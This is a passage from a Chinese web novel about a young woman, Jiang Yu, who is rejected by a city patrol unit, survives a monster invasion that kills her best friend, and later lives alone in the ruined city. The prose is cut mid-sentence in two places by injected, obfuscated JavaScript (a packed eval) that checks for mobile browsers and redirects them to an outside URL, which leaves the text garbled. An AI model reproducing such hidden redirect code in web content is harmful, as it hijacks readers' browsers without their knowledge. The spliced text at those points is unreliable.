《都末日了谁还房贷啊》 1. 特殊的血样 “姜渔，血检不合格，驳回申请。” 云市，市中心一栋庄严肃穆的青灰色大楼，13层办公室内。中年人皱着眉淡淡地推回了一张报名表。 姜渔双手按在桌上，语气诚恳中透着一丝焦急：“于队长，能再给我一次机会吗？我真的很需要这份工作。” 这已经是她不知道多少次来面试了。 一年前，她从银行借了一大笔钱，却意外丢了工作，眼下加入巡城部成了她最后的救命稻草。 中年人从众多报名表中抬起头，看了一眼姜渔，语气相当不悦：“在你眼中，巡城部只是一份工作？衍生体随时有可能入侵，你认为我会把全城人的性命交到你这种人手里？” “下一位！张勤！”他抬高了音量，用目光示意姜渔离开。 一位高大的青年推开了办公室的门，但姜渔没有动。 “还有什么问题？”于队长看着姜渔，似乎有些头疼这个倔强的姑娘。 姜渔不卑不亢：“您说我血检没过，可我的血检报告一直没有出，凭什么断定我不合格？” 荒纪238年，人类已经可以通过血液和基因生物检测精准测算出人体的各项指标。巡城部隶属于联安属，职责是直接抵抗最危险的衍生体，保护全城人民的安全，因此招募工作人员时，对候选人的各项指标要求极为严苛。 可姜渔的情况特殊。她的血检一年前便提交运算，结果却始终无法输出，直至现在还耽误着一台仪器。 巡城部这次的纳新关系到人民安全，容不得一点闪失，遑论这种摸不着头脑的故障事件，巡城队只好为姜渔发了拒签通知。 可没想到她这么执着，非要看到自己的血检报告才罢休。 于队长对这位“钉子户”彻底没了脾气，语气有些无奈：“可没有血检报告，谁也无法断定你合格。我们要对全城的人民负责。” 言及此，姜渔终于泄了气。她攥紧了手中的报名表，起身时，名叫张勤的青年与她擦身而过，姜渔却听见他嘴里轻哼了一句“废物”。 “什么？”姜渔怀疑自己听错了，停下了脚步。 “我说你是个废物。”张勤语气嘲讽却笃定。“不是废物怎么会让机器故障？我告诉你，你的血样有问题，传染病，细菌，甚至基因缺陷。对巡城部来说，你不够格。” 姜渔活动了下手腕，声音放轻了：“我够不够格，试试不就知道？” 张勤低头看了眼姜渔的拳头，面露不屑，他说：“行，碰到我就算你赢……” 砰！ 刹那间，办公室的空气仿佛凝固了，所有人的诧异目光落在两人身上。 姜渔的额头狠狠撞上了张勤的鼻梁！ 攥拳吸引我的目光，其实攻击是来自上方吗？张勤感受着鼻腔血流的温热，后知后觉地反应过来，他竟然被眼前这个小女生耍了！一瞬间恼羞成怒的感觉溢满胸膛，在看到姜渔表情时，张勤的怒气值达到顶峰。 姜渔额头上还沾着血渍，嘴角却上翘着。 她在山里长大，见惯丛林法则，好斗的基因几乎刻在骨子里。 张勤刚想反唇相讥，却被一声敲桌声打断了。 于队长大声喊道：“够了，你们当这里是什么地方！你们以为衍生体是街头混混吗？张勤，如果你不想报道现在我就给你拒审！” 姜渔用袖子抹去额头的血。 于队长说得对，会打架代表不了什么。现在的她存款告急，找不到工作，本以为凭借一身蛮力可以去巡城部拿命换钱，没想到她连拼命的资格都没有…… “不好意思，耽误您时间了。”姜渔向于队长微微俯身，转身出门。 “姑娘……”于队长深深叹了口气，开口叫住了姜渔，“我女儿跟你一样大，还像长不大的孩子一样……你有这样的志气很好，以后一定能找到合适你的工作。今天……就快些回家吧，别再来这里了。” 其实他不讨厌姜渔。 只是不让她加入巡城部，才是对她的保护。 姜渔点头致谢，她关上门，乘电梯一路向下，直到迈出巡城部办公楼的大门，才拿起电话，向备注“麦麦”的联系人拨去。 电话很快被接起了，对面是元气满满的女孩声音：“等等，让我先猜，是不是好消息？” 姜渔轻声苦笑：“跟前几次一样……” “血检报告还是没有出来吗！”麦麦骑着电动车，声音夹杂着风声有些模糊：“可巡城部需要你啊，姜渔，只有你可以保护云市，保护我们的家……” “我没你说的那么伟大。”姜渔冷淡地打断了纪小麦的话，“我只是为了赚钱。” 好友总是对世界抱着一股单纯到愚蠢的善意，她理解不了。 听出姜渔的语气不好，电话那端沉默了半晌，纪小麦马上调整了语气，“对不起啊宝，我没立场要求你什么的，你别难过，我马上就要下班了，你在新家等我，今天有蛋糕哦！” 姜渔才意识到，今天是小麦的生日，两人约好去新家给她庆祝，而自己刚刚态度实在算不得好，刚想道歉，听筒传来刺耳的提醒： 叮——叮——叮—— 电话断线了。 姜渔有些懊悔地拨回去，却总是呼叫失败。她抬头环视四周，街道上的很多人都在摆弄着电话。 似乎是通讯信号出了问题。 可为什么？ 姜渔还在思索，耳边忽然响起一声巨响。她连忙循声望去，远处的街道竟然有几辆车相继撞到一起，火光与尖叫声顿时充斥整条街道。 姜渔来不及反应，一声更为尖锐的电流声，贯穿了整座城市上空，随之而来的是女性播报员的声音： “居民请注意，本市发生衍生体入侵事件。请尽快寻找掩体躲避，等待救援。掩体包括防空洞，住宅，商厦，地铁等密闭空间……” 播报声循环往复，不带一丝感情。那是早已录好的音频。 衍生体？入侵？ 街道上的所有人都呆住了。 唯独姜渔第一时间反应过来，她开始在街道上狂奔！ 纪小麦还在家里！我要去找她！ 当看到姜渔的动作后，大部分人都动了起来！ 几乎所有人都想着回到自己的家人身边，或者就近寻找最坚固的防空洞。 而此时，姜渔的心里只有纪小麦。 她们两个人相依为命多年，彼此都坚信一件事，就是只要她们两个人在一起，遇到什么困难都能熬过去！ 她拼命跑着，街道上的人群也越来越多，越来越乱。 人潮汹涌，事故频发，商厦小区纷纷关门，防空洞的入口人满为患。 大难临头时，更没有一辆车会随便停下。 眼见街道上越发混乱，姜渔咬咬牙，拐入了一条小巷，开始凭借方向感，在巷子中穿梭。 然而，巷子中的人也渐渐多了起来。 拥挤中，姜渔感觉前行越来越费力。 直到姜渔拐入一条更加偏僻的巷子中时，她暗骂一声：这里似乎是高档住宅或者办公场所，隐私性极高，巷子两侧以及尽头，都竖着高达三米的高墙。这是一条死路！ 巷子尽头的高墙下，有人绝望倚着墙攀爬，有人正喊着“滚开”向她跑来。 姜渔气喘吁吁地靠到一边，想着休息一下。结果刚喘两口气，身后便传来了好几声惨叫。 不好…… 姜渔升起不妙的感觉。她赶紧转头看向来时的路口，一具尸体忽然被甩飞进来！ 瞬间，尖叫声响彻死胡同的上空。 伴随着尖叫声，姜渔眼睁睁看着一只巨大的狰狞头颅，从来时的路口探了进来！ 那头颅直径一米左右，有八只墨绿眼睛，齐齐看向胡同中的人群时，头颅顿时裂开四瓣，露出其中的两排獠牙，恶臭立即蔓延整条胡同，随即，头颅向前逼近，现出身后托着乌黑甲壳的巨大身躯，宛如一辆小型面包车，拥挤地塞满了窄窄的胡同。 那就是衍生体吗？ 姜渔只觉得头皮发麻，撒腿就向胡同尽头跑去。 人群中，有人傻眼，有人失禁，男男女女中没有一人不是浑身哆嗦的。甚至已经有人用力捡起地上的石块，试图砸死自己，却又因为下不去死手，只砸得满头是血。 “都退后！” 忽然，一道有些熟悉的声音传来。姜渔抬头看去，瞳孔微缩，在小巷左侧的民宅屋顶，刚刚才面试过她的于队长赫然而立，他手持一把□□，脸上染了许多鲜血，与之前办公室里中年人的气质状若两人。 他身后又冒出一个身影，竟然是方才与姜渔起了冲突的青年张勤。 然而张勤出面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143701|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，一副双目无神的样子，既不像被吓的，也不像受了什么伤，反倒是双手颤抖着举起了手枪——对准了于队长！ “于队长！小心身后！”姜渔见状连忙大喊！ 于队长闻言，迅速转身抬枪，当看到身后的张勤后，明显愣了一下，紧接着从喉间挤出不可置信的一句“王八蛋！”后，狠下心扣动了扳机！ 张勤中枪倒地，于队长再回过头时，脸上带着一丝无法掩饰的悲伤。 “是思觉塌陷！这是衍生体攻击了他的大脑，被攻击后会做出反常的举动，大家后退！”于队长在人群中看到了姜渔，四目相对时，已经分不清他的话是在对谁嘱托。 紧接着，于队长又皱眉不满地改变了话题：“都叫你赶紧回家了！”说罢翻身下来，站在人群与衍生体中间。 “是巡城部的人！” “有救了！我们有救了……” “老公，快醒醒，我们……” 人们望着于队长的身影，完全忘记了刚才诡异的一幕，发出一阵欢呼。 巡城部的职责就是负责处理衍生体事件，连他身上的制服都成了人们心中的定海神针。可姜渔看着于队长略显单薄的背影，隐约有些不好的预感。 不知道，麦麦到家了没…… 砰！ 一声枪响忽然炸响！众人又是一阵惊叫。 姜渔从担忧中回神，于队长单手持枪再次发射，一发大口径子弹瞬间炸裂在衍生体的头上，可那些子弹就像棉花一样，对它毫无威胁。 我还不想死。 只有战斗才有一线生机！ 姜渔见状，连忙捡起路边几块石头，她使用了棒球的发力方式，肩部与肘部承受着巨大的旋力，将石头接二连三地狠狠向衍生体砸去！ 砰！砰！砰！ 于队长也不收手，他将五发子弹倾泻一空后，又利落地从口袋中完成填弹，再次瞄准！ 可就在这个空隙，前方子弹留下的硝烟中，忽然射出一道绿色的液体！ 姜渔听到于队长暗骂了句什么，身形迅速躲避。绿液却势头不减，全部射向人群！姜渔有样学样，迅速在地上翻滚到墙边。 可当姜渔再起身时，高墙下的人群已经哀嚎遍野。 凡沾上酸液之人，血肉被迅速腐蚀。 姜渔强迫自己冷静下来。于队长在这里，至少有战斗经验，她大可以在此时跟他继续配合，找到一线生机！ 思绪至此，姜渔扭过头，向于队长同步情况：“于队长！我来引开它的注意力，你……” 姜渔话未说完，愣住了，瞳孔渐渐放大。 视线中，于队长竟然已被一根巨大镰足贯穿了胸膛，整个人被钉在墙上，鲜血染满全身。 而在姜渔不远处的地面，有一个黑色的对讲机。 姜渔意识到，那是于队长特意扔向自己的。 “快呼叫支援……”视线中，于队长磕磕巴巴说完最后一句话，艰难地怀中抽出一枚圆形炸弹，手指颤巍巍按下，塞在自己胸膛与镰足的连接处。 轰！ 爆炸声骤然响起！硝烟再度弥漫。 姜渔咳嗽了几声，她怀着逐渐蔓延的悲痛心情向前望去，只看到硝烟渐渐散开，于队长的身体已然无力垂下，而衍生体的黑色镰足……丝毫无损！ 那条镰足，骤然一钩，于队长残缺的尸体便坠入衍生体的口中。 一股凉意贯穿了姜渔的全身。 不知为何，姜渔想到了于队长口中跟自己一般大的女儿。她的父亲阵亡了，甚至没来得及留下一句遗言。 于队长死了。 单凭她自己，绝对无法与衍生体匹敌。 现在唯一的希望，只有巡城部的支援。 姜渔打起精神爬向对讲机，恐慌的人群开始推搡踩踏，又一个陷入思觉塌陷的男人向姜渔扑了过来，姜渔向旁边翻滚躲过攻击，拼尽全力护住了对讲机，那是于队长用命换来的救援机会。 “云北大街28号，呼叫支援。” “云北大街28号，呼叫支援。” …… 可对讲机的那端只有惨烈的叫声和警笛声，没有人回应姜渔的求救。 绝望中，姜渔意识到了一件事——作为东部战区最边缘的城市之一，也许云市一开始就已经被放弃了…… 2. 迟来的勇气 “云北大街28号，呼叫支援。” 姜渔一遍遍重复着这句话，眼泪已经不自觉爬满脸颊。 如果于队长知道，怪物并没有和他同归于尽；如果他知道，自己的牺牲是毫无意义的…… 不知道谁捡起了于队长的枪，杀死了那个思觉塌陷的男人，而后把所有子弹打向了衍生体，意料之中的毫无作用。 人群已经接近崩溃，他们把希望寄托在了姜渔身上： “完了！巡城部的人也死了！” “你刚刚不是跟他说话了吗？你也是巡城部的人对不对？救救我们啊！” “救救我们，救救我们！” 姜渔有些愕然，她瞪着他们摇头：“我不是巡城部的人，我只是普通人。” “那我们怎么办啊？” “你放屁，你就是！你肯定想自己逃跑！” “怎么跑？这里是死路！” 忽然，人群中一个男人眼中精光一闪，厉声道：“巡城部的人不就是为了在这时候替咱们牺牲的吗？把她扔给衍生体，等她被吃时，我们从衍生体的脚下爬着可以逃跑！” 人群中有人迟疑：“可是……” “你们想死还是想活？！” 男人大喊了一声，双手挽起袖子就向姜渔冲来。 姜渔只觉得浑身冰冷，视线中，方才还在哭喊的男人，女人，甚至抱着孩子的母亲，都面目狰狞地冲了过来！ 如果于队长知道，他拼命救下的是这些自私的魔鬼，他会后悔吗…… 姜渔缓缓后撤，她忽然感到脚下踩到了什么，向下一看，正是于队长被炸断的手臂。 他手臂落在地上，手指却指着旁边。 姜渔来不及悲伤，顺着手指的方向看去，刚刚于队长引爆的炸弹，将本来光滑平整的墙，炸成了坑坑洼洼的样子。 姜渔目光一凛，她最后看了眼人群，攥紧对讲机，决然地回头一跳，双手紧紧攀住高墙凹凸不平的墙面，再一用力，已然翻身站到了墙上！ “快，拉住我的手！” 姜渔蹲在墙上，试图去拉人群中的女人儿童。 她刚刚注意到，当所有人向她冲来时，有那么几个人眼里有悲伤、怜悯与不忍。 至少，那几个人还残留着人性的善良，还值得她冒险去救。 可是，姜渔刚刚伸出手，衍生体便猛然前冲几米，彻底堵死了上来的路，扑向了人群。她觉察到人群中几个人的动作滞缓，眼神变木，已经越来越多人陷入思觉塌陷了。 再不跑，就来不及了！ 姜渔只来得及接过一个襁褓中的婴儿，再也无法实施营救，便咬咬牙跳向墙的另一端，头也不回地向家的方向狂奔。 身后，哀嚎声此起彼伏。 巡城部都杀不死衍生体……她能有什么办法！？ 于队长说的对，她根本不是这块料。 姜渔眼眶通红地奔跑在街巷间，她先把婴儿交给路边救援站点，才马不停蹄地继续往家赶。 对讲机内传来各区的战报，每分钟都有战士在牺牲。 云市几乎全部沦陷。 一路上，姜渔为了避免再次遇见衍生体，绕了许多远路，一有点风吹草动，就尽可能找一切掩体躲避，一躲就是许久，直到再无声响才敢再度赶路。 她也给纪小麦打了许多电话。可通讯系统仍然处于瘫痪状态，信号时有时无，根本无法打通。 …… 夕阳时分。 姜渔拖着疲惫的身子，终于来到了公寓楼下。 叮。叮叮叮。 手机响了起来。 终于来信号了。姜渔连忙点开手机，向纪小麦拨去电话。 电话总算通了，可一直没有人接听。 手机的消息界面，停在港湾公寓楼的居民群聊中。 “衍生体来了！大家快跑！” “我女儿在几楼！你们有人见到吗？” “我见到你女儿了，她好像在楼下！” …… 小区已经沦陷了。 姜渔压下心中的不妙，冲进公寓楼内，只见一楼大堂，满眼疮痍，洒满了人类的鲜血。 楼上。我的家在楼上，衍生体应该不会很快上到那么高的楼层…… 姜渔看了眼大堂左侧，电梯已经停运。她只好深呼吸一口气，迈向右侧的步梯间。 如果衍生体选择上楼屠杀的话，步梯也是它们的唯一选择。 可姜渔没得选，这同样是她与纪小麦汇合的唯一选择。 结果，姜渔刚迈出两步，竟忽然听到大堂中回荡着断断续续的哭声。 姜渔愣了一下，那是女孩的哭声，年纪不大的样子。 姜渔看了眼步梯的方向，还是咬咬牙，快步走向声音传来的方向。 声音的尽头，是大堂的快递柜。姜渔蹲下身，将容纳大型货物的快递柜拉开，果然见到一个五岁左右的女孩。 她抱着自己的玩偶，满眼泪水，浑身颤抖，当快递柜打开时，她惊恐地看向姜渔，又连忙摇头说：“你不是姐姐……你不是姐姐！姐姐让我躲在这里的！” 女孩伸出小手，竟从里面将柜门再次死死关上了。 姜渔一怔。 或许是巡城部的人来了吧。她第一时间想到这个逻辑，心里稍稍宽心不少，这才转身迈向步梯间。 然而，当姜渔刚刚握住步梯间的门把手时，她听到了一声异响。 姜渔全身僵住，缓缓回身。 一瞬间，姜渔感到自己的心跳仿佛停止了。 左侧的走廊尽头，一只稍小些的衍生体，正悠悠地向自己走来。 姜渔没有跑。 事实上，她已经没有任何跑的心情了。 因为衍生体的嘴里，衔着纪小麦的尸体。 两排獠牙，咬在纪小麦的腹部。她的双手双脚无力地垂着，唯独手里拿着一根已经弯折的钢管，紧紧攥着。 衍生体盯着姜渔向这边走来，在途中时，却停下了。 它听到了快递柜中的低声呜咽。 于是衍生体放弃了姜渔，而是挪动身体，数只镰足裹着酸液，发出嘟嘟嘟的声音，快速迈向快递柜。 这正是逃走的最好时机，大脑中的求生欲告诉姜渔。 可是，姜渔的腿却不听使唤，她能逃去哪里？ 纪小麦已经去世了。 她们曾坚定不移地认为，只要彼此在一起就能抵御世界的一切难题。但危难来临时，她们却分开了。 姜渔觉得自己忽然失去了所有力气。 快递柜中的女孩，似乎听到了外面的动静，她停止了哭声。 于是，姜渔清晰地听到女孩隔着快递柜，发出闷闷又怯懦的问话：“姐姐，是你吗？” “姐姐，你说话呀？是你吗？” “是……小麦姐姐吗？” “小麦姐姐，你说话呀，你赢了吗？你赢了对不对？” 那一秒，姜渔心中紧绷着的某根弦，终于断了。 是啊，她怎么忘了，小麦对这个世界有着一腔近乎愚蠢的善意。 姜渔甚至能想象，纪小麦看到群里母亲的求救，毫不犹豫地选择去救那个女孩。 不远处，纪小麦的尸体被摔在地上，她的手仍死死握着那根弯折的钢管。 你要做但没做完的事，让我替你完成吧。 姜渔擦去眼角的泪，缓慢而坚定地转身，抄起了门边一根断裂的钢筋。 咚，咚，咚。 姜渔用钢筋敲击着墙面。 对面，衍生体闻声扭过了身体。 姜渔看着它巨大而丑陋的头颅，四肢，口器，恍惚间好像听见了纪小麦的声音，她说： “姜渔，你在我心里永远是最强的！” 纪小麦，你那些不着边际的信任，我收到了。 此时，姜渔有一种直觉，自己能看到对方身上的各种弱点，她还有一种感受，那就是她的鲜血正在血管中沸腾翻滚，那是一种狂暴的咆哮，宛如能席卷一切的海啸。 这场海啸形成了一股力量，她觉得自己能贯穿对方的头颅。 “来。”姜渔说。 似乎听懂了姜渔的话，衍生体猛地发出一声尖啸，向姜渔冲来！ 姜渔也并不躲避，她手持笔直的钢筋，像千年前战场上的骑兵握紧了长枪，同样向衍生体发起了冲锋！ 越来越近了。 姜渔默默凝聚着力气，计算着步伐，随着双方的距离变得近在咫尺时，衍生体挥起了它的镰足！ 太快了！ 姜渔目光一凝，尽力躲闪，仍然被刺穿了左臂，随着巨大的惯性被甩到地上。 砰！ 好疼……血液流出的瞬间，姜渔的大脑却愈发清醒。 姜渔猛地抽出手臂，喘着粗气翻滚到旁边。 她看到一旁纪小麦的尸体，已经慢慢被酸液腐蚀。 纪小麦刚也是这样战斗的吗？ 她疼不疼？ 视线跃过纪小麦的尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143702|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体，不远处还有一个被摔烂的生日蛋糕，上面画着一个奇怪猫猫的图案。 今天是小麦的生日啊，姜渔感觉心中一阵钝痛。 她的蛋糕掉在了一旁，上面也撒满了腐臭的酸液。 姜渔爆发出一声凄厉的尖叫，她高举钢筋，视线凝聚在一点上，那是她刚刚被贯穿手臂时所看到的：在衍生体镰足的关节处，并没有甲壳的保护！ 姜渔用力刺出，钢筋不偏不倚地，生生刺入了衍生体张开的镰足关节处！ 下一秒，姜渔抱紧韧性极好的钢筋，借力将自己弹到高处，她俯瞰下去，衍生体已经张开嘴，口中两根绿色软管组织赫然入目。 姜渔眉头一皱，回忆起之前衍生体的攻击方式，随即将重心往左偏移，几乎是同时，两根绿色软管射出两道酸液，正好射向姜渔偏移前的位置！ 姜渔并没有心情庆幸劫后余生。 在半空坠落后，她并不死心，而是顺势捡起纪小麦掉在地上的钢管，依靠仍然刺在衍生体关节处的钢筋，再一次翻向半空。 似乎因为酸液也需要时间产出，这一次，衍生体并未射出酸液，姜渔则毫不犹豫，将钢管深深刺入衍生体的一只眼睛！ 悲鸣声中，姜渔再次抽出钢管，落在地上，俯身冲到衍生体的身侧，又将钢管刺入衍生体的腹部！ 鲜血四溅，衍生体的反应越发愤怒，但行动已经变得迟缓。 姜渔没有丝毫大意，她冷静地观察着对方，只要抓到对方的破绽，便重复一次刚刚的攻击：翻身浮空，将钢管刺入眼睛，再拔出，落地攻击腹部…… 渐渐地，衍生体的八只眼睛已经全部被刺瞎，它悲鸣的声音越来越小，直至无力地趴在地上，连一口酸液也吐不出来。 姜渔则托着伤痕遍布的身子，站到衍生体的身前。 她气喘吁吁地，将钢筋高高抬起，下一秒，狠狠贯穿了对方的头颅！ 衍生体再无声息，大堂陷入死寂。 姜渔呆了很久，才慢慢走到快递柜前，她打开门，看着小女孩惊恐的眼神，不等对方说话，将对方搂进怀里。 “看，姐姐赢了。”她轻声说。 怀中的小女孩焦急地寻找着纪小麦的身影，“小麦姐姐呢！” 在她被路人推开的时候，那个拎着蛋糕的姐姐告诉自己，会没事的。 可那个姐姐呢？ 不远处，纪小麦的尸体已经只剩下一滩绿色酸液。 姜渔用手掌覆盖住女孩的眼睛，自己眼中的泪水止不住地流了下来。 原来，她真的有能力杀死衍生体，却在关键时刻选择了逃避。 如果她勇敢一些，也许于队长就不会死，她就能快些回家，可以和纪小麦一起救下女孩。 她还没来得及跟纪小麦说声抱歉。 抱歉啊小麦，我辜负了你对我的信任。 不远处，一个披头散发的女人冲下来，抢过了姜渔怀中的女孩。 她嚎哭着向姜渔说着谢谢，谢谢你救了我女儿。 姜渔跪坐在地上，她的咽喉好像被什么扼住了，快要喘不过气。 “不是我。”她只是呆滞地摇着头否认。 …… 衣服口袋里手机铃声突兀地响起。 姜渔机械地拿起手机，按下接听键，对面是一个急切的女声：“是姜渔女士吗？您去年的血检结果出来了！这份报告完全可以加入巡城部！你现在……” 电话的信号再一次中断了。 公寓的大堂中，姜渔闻言怔住。 命运二字，于自己而言像是个笑话。 她无力地垂下了手机，自嘲地笑了起来。 “可我不需要那种东西了。”姜渔轻声说。 …… 市中心，巡城部云市总部，血检室内，刚刚与姜渔通电话的工作人员仍在不断拍打着电话。 “姜渔女士，你听得见吗？事实上你的结果非常优秀！” “不……不是优秀，是前所未有！你或许是现在唯一能挽救云市的人！姜渔女士！” “你听得到吗？你能来巡城部这里参与救援吗？姜渔女士？” 女人带着哭声的呼唤没有任何结果，只有陆续响起的几声爆炸，回应了她。 她连忙放下手机，正要出门时，一只更为巨大的衍生体，已经破墙而入！ 血染红了巡城部的每一条走廊。 人间炼狱中，在女人眼里象征着希望的一纸报告，垂落在鲜血中，又被燃烧的火焰吞噬了。 3. 老朋友 荒纪239年，5月6日，云市。 清晨的浓雾缠绕着破败不堪的高楼，脏污的柏油路上看不见任何活物的踪影。这是一座死去的城市，万物堙灭，只剩下钢铁与混凝土铸就而成的坟墓。 叮铃铃……城市深处却忽然响起一阵铃声，对比整座城市的沉默，显得格外刺耳。 港湾公寓，1301室次卧。 姜渔睁开眼，伸手关掉了闹钟，她昨晚休息得不错，面色红润而有光泽。 此时，她惬意地靠在床边看手机屏幕上的行程单： “重要事件：给麦麦买蛋糕。” “重要事件：还房贷。” “已过期事件：还房贷*12。” 姜渔有些失神，已经这么久了。 她忍不住环视四周，墙壁洁白，地板干净，窗帘与被子昨天刚洗过，还散发着洗衣液的香气。两年前，她和麦麦一起贷款买下这间两室一厅的公寓，现在依然崭新如初。 曾经，她们需要很努力才能负担得起房贷，最忙的时候她们同时兼职三份工作，吃着便宜的饭菜，用着拼够够软件上精挑细选便宜好用的电器，生活忙碌又充满动力。 直到去年衍生体入侵后，贷款给姜渔的云市建设银行总部被衍生体捣毁，小道消息说行长第一时间就坐直升机逃跑了，只留下一条短信告知客户，“全面暂停服务，敬请谅解。” 追债的人走掉了，纪小麦也走掉了。 留在云市的，只有姜渔，公寓，与账户上无人问津的债务。 姜渔回过神来，自嘲地笑了笑，还是没有删除每月一次的“还房贷”提醒。 就当是提醒自己曾经那么努力地生活过吧。 不再多想，姜渔翻身起床洗漱。她换上一件薄皮外套加深蓝色牛仔裤，扎起马尾。 每年麦麦过生日都要吃蛋糕的。 虽然她已经去世了，但姜渔还保留着这个习惯。 她快步走进厨房，从冰箱拿出一瓶营养剂，拧开盖子，一股腥臭味扑面而来。 好吧，这就是不用交房贷的代价。姜渔面不改色地灌进肚子大半瓶，又很熟练地塞进嘴里一颗果味硬糖，酸甜的津液刺激着口腔，弥补了一下味蕾。 最后，姜渔走到主卧门前，敲了敲门。 “知道你不喜欢吃早餐，等我买蛋糕回来吧。” 屋内自然不会有人应答。 姜渔转身拿起玄关柜上的一柄黑色钛金长刀，一把KA45战斗手枪，打开门，沿着寂静的走廊，顺着步梯下楼了。 冷清的公寓楼里，脚步声由上及下。 吱呀…… 姜渔推开一楼大堂的玻璃门。 虽然另一扇玻璃门已经粉碎，但姜渔仍然更喜欢推门这个动作。 她觉得这样很有秩序，像过去一样。 姜渔抬手遮住朝阳，远眺这座城市。 远方高处，那些曾经电光火光交替爆炸的商业楼，只剩下灰暗的骨架，上方悬挂着摇摇欲坠的灯箱，街道上，曾经焚烧不止的车辆也都化作漆黑一团的废铁。所有电线杆与藤蔓互相纠缠着，野蛮生长。 绿荫之下，皆是白骨。 姜渔轻车熟路走到路对面，钻进一辆大红色的ZR300跑车，她的步伐迅速利落，没碰到路边任何一具骸骨。 保持人文关怀，这是社会文明崩塌后独属于姜渔的一种复古。 系好安全带，姜渔按下启动键，早已沦为一片废墟的云市难得响起发动机的轰鸣声。 街上就应该热热闹闹的。姜渔抱着这样的想法，当初硬生生将这辆跑车从衍生体盘踞的4S店里开出来。 轰鸣声从云市南区贯穿到东区，一路疮痍。 大红色的浮夸跑车，最终停在一家名叫“倍甜”的蛋糕店前。 姜渔下车，敲门，无人应答。于是她只好从她上次敲碎的窗户翻了进去。 屋内昏暗，深处传来细微的嗡嗡声。 姜渔上次来的时候启动了这里的备用发电机，只用来给冰柜供电。 此时，姜渔打开冰柜，里面摆满了各色动物奶油与一些别的蛋糕店食品。她又翻找了些食材，开始制作蛋糕胚。 蛋糕店里配备了全自动的蛋糕机，姜渔只需要将面粉和水进行简单的配比，放入刚刚启动的蛋糕机内即可。 机器的复杂按钮显示它还可以帮忙裱花，可姜渔要画的图案过于抽象，只能待会儿自己动手。 叮。 蛋糕机发出完成工作的提示音，姜渔戴着手套站在机器前，等待蛋糕胚冷却。 忽然，姜渔后脖颈处有些发毛。几乎是人类的本能在提醒她背后有危险。 同时，腐烂的味道已然蔓延到空气中，掩盖住了蛋糕胚的香气。 又来了。它们还没有死绝么？ 偏偏挑在这个日子……麦麦可不想蛋糕沾上衍生体的味道。 姜渔有些无奈地回头，店外先是传来熟悉的“嘟嘟”声，随即一颗直径两米的紫红甲壳巨颅，安静地贴上蛋糕店已经破碎的落地窗。 八只绿色的眼睛，球拍大小，分布两侧。 它们都在沉默地注视着姜渔。 好像是比较大个子的那种。 姜渔心里有了打算，她果断提刀翻身冲出蛋糕店的侧门，留下一声口哨声后，开始在马路上狂奔！ 姜渔向后瞄去，衍生体的头颅中间，四瓣甲壳裂开，露出其中布满两排血牙的口器。口器两侧，是泛着荧光的唾液腺体，淌出粘稠的绿色酸液，流落到头颅下节状躯体与镰型多足上。 两方对视后，衍生体发出尖锐的嘶鸣，拖动着卡车般的身体，向姜渔追来。 姜渔周围的空气越来越难闻，她不需要再回头，都知道衍生体已经近在咫尺！ 姜渔却不慌不忙，视线锁定在前方的一辆轿车上，当距离相近时，她纵身一跃，翻躲在轿车尾部，默数三秒，又向侧方扑去，几乎是同时，四根镰足就刺穿了车尾姜渔刚躲避的位置，扎入坚硬的柏油路中！ 姜渔一声不吭，脑海中回想起这一年的战斗经验。 当这种衍生体使用镰足攻击时，两侧镰足受限于巨大的头颅，会在相继攻击时，留下间距最小为一米的安全区域。此时，衍生体因为镰足刺穿物体无法及时拔出，便只能使用唾液导管进行酸液攻击。 思绪至此，姜渔又迅速靠近车尾的镰足。 下一秒，果然又有四根镰足刺穿了车头—— 此时便是衍生体因为无法及时抽出镰足，只能更换攻击方法的时刻！ 趁对方还没有唾出酸液，冲出去，拔枪，向对方的口器射击，一击致命！ 这一年里，姜渔这样做过很多次了。 然而，当姜渔刚要动身时，她愕然看到身边穿过车尾的四根镰足，竟然拼着用两根镰足断裂的方式，硬生生抽了回去！ 同时，车头的四根镰足钩住轿车，废力地将轿车高高抬起。 刹那间，衍生体的唾液导管中已经喷溅出了巨量的绿色酸液，如瀑布一般，淋在方才轿车停靠的位置上。 酸液落下，浓烟生出，一切都被溶解。 这一切，完全违背了姜渔的经验，衍生体就像曾默默观察过姜渔以往的战斗一样，采用了极其针对极其意外的攻击方法！ 衍生体发出尖锐的嘶鸣，声音中竟似乎带着一丝得意。它八只眼睛齐齐看去，酸液覆盖处的街道已经被溶解出一个小坑，连骨头都不再有。 这时，它似乎才记起来自己还在用镰足举着轿车。 而它歪了下头，想将轿车放下时，却看到轿车的车底，有一道人影死死攀在那里。 “你好像很开心？” 姜渔啐了一口血，脚部发力！ 顿时，姜渔从轿车蹬向衍生体的头颅，持刀如箭，刺入衍生体头上的一只眼睛！ 她刚刚稳住身躯，便第一时间在衍生体的悲鸣声中，将十八颗大口径的子弹通通送进了对方的口器。 衍生体的身子轰然倒地。 一切平息。 姜渔抹掉嘴边的血。 因为不想死在衍生体手下，她在这座城市的废墟中摸爬滚打了一年多。 可是，姜渔也不喜欢这样活着。 她只不过更喜欢那个小家而已——她倾其所有筑造的小家。 这也是她将第一批撤离名额拱手让出的原因。 当年，官方用精密运转的大数据计算出她是应该被第一批营救出来的人才，但姜渔选择情感用事，将希望留给一个五岁的女孩，将家留给自己。 